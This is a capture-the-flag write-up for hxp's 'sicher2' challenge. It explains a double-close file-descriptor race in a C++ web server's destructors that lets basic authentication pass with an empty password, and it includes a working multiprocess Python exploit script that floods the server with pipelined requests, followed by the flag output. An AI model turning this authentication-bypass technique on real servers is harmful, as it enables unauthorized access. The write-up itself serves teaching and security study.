This challenge was a simple(multi-threaded)C++ web server ([source](https://hxp.io/assets/data/posts/69-sicher2/sicher2.cpp.txt))featuring HTTP basic authentication for files in the `/secret/`directory, which includes [`flag.html`](https://hxp.io/assets/data/posts/69-sicher2/flag.html).Solvers had to circumvent the password check(or figure out a way to get code executionthat I haven't discovered yet `:-)`).
At first glance, the server uses mostly modern C++ APIsand there are no blatant security holes. The `b64decode()`function perhaps looked a bit fishy, but does not containany (intentional `:-)`) vulnerabilities.
However, there is a subtle bug in the implementation ofthe `opener` and `reader` classes: The destructor is`virtual` in `opener` [and `reader`](https://stackoverflow.com/a/677649),which means that [both destructors are called](https://stackoverflow.com/a/677623)and therefore the `close()` is executed twice — so if*between* the first and second `close()`, anotherfile is opened and assigned the same file descriptor,it will erroneously be closed, which can be fatal:Closing the `password.txt` file containing theauthentication credentials for the `/secret/` directory*before* the password can be read by `reader::get()`leads to an empty password!At this point, the exploit strategy is remarkably simple:Keep hammering the server witha request for `/secret/flag.txt`using the username `root`and an empty password,until one of the parallel executionscloses another's `password.txt`file descriptor before the password is read.At this point, the empty password is consideredcorrect and the `flag.html` fileis returned to the client.
Here's a slightly dirty Python script that performs this exploit:
```python#!/usr/bin/env python3import sys, socket, queuefrom multiprocessing import Process, Queue
count = 5000req = b'''GET / HTTP/1.1
GET /secret/flag.html HTTP/1.1Authorization: Basic cm9vdDo=
'''
q = Queue()
def pwn():
    for _ in range(3):
        sock = socket.socket()        sock.settimeout(2)        sock.connect((sys.argv[1], int(sys.argv[2])))        for _ in range(count):            try:                sock.sendall(req)            except:                pass
        s = b''        while s.count(b'HTTP/1.1') < count:
            try:                tmp = sock.recv(0x100)            except socket.timeout:                tmp = b''            except Exception:                pass
            if not tmp:                break            s += tmp
            while b'\n' in s:                n = s.index(b'\n')                if 'hxp{' in s[:n].decode():                    q.put(s[:n].decode())                    return
                s = s[n+1:]
        if 'hxp{' in s.decode():            q.put(s.decode())            return
        sock.close()
for _ in range(1000):    print('.', flush=True, end='', file=sys.stderr)    procs = []    for _ in range(4):        proc = Process(target=pwn, args=())        procs.append(proc)        proc.start()
    for proc in procs:        proc.join()
    try:        print(q.get_nowait())        sys.exit(0)    except queue.Empty:        pass
sys.exit(1)```
After a few attempts, this gives the flag:
```.......        <marquee>hxp{s0rrY_w3_4Re_cL0s3D}</marquee>```
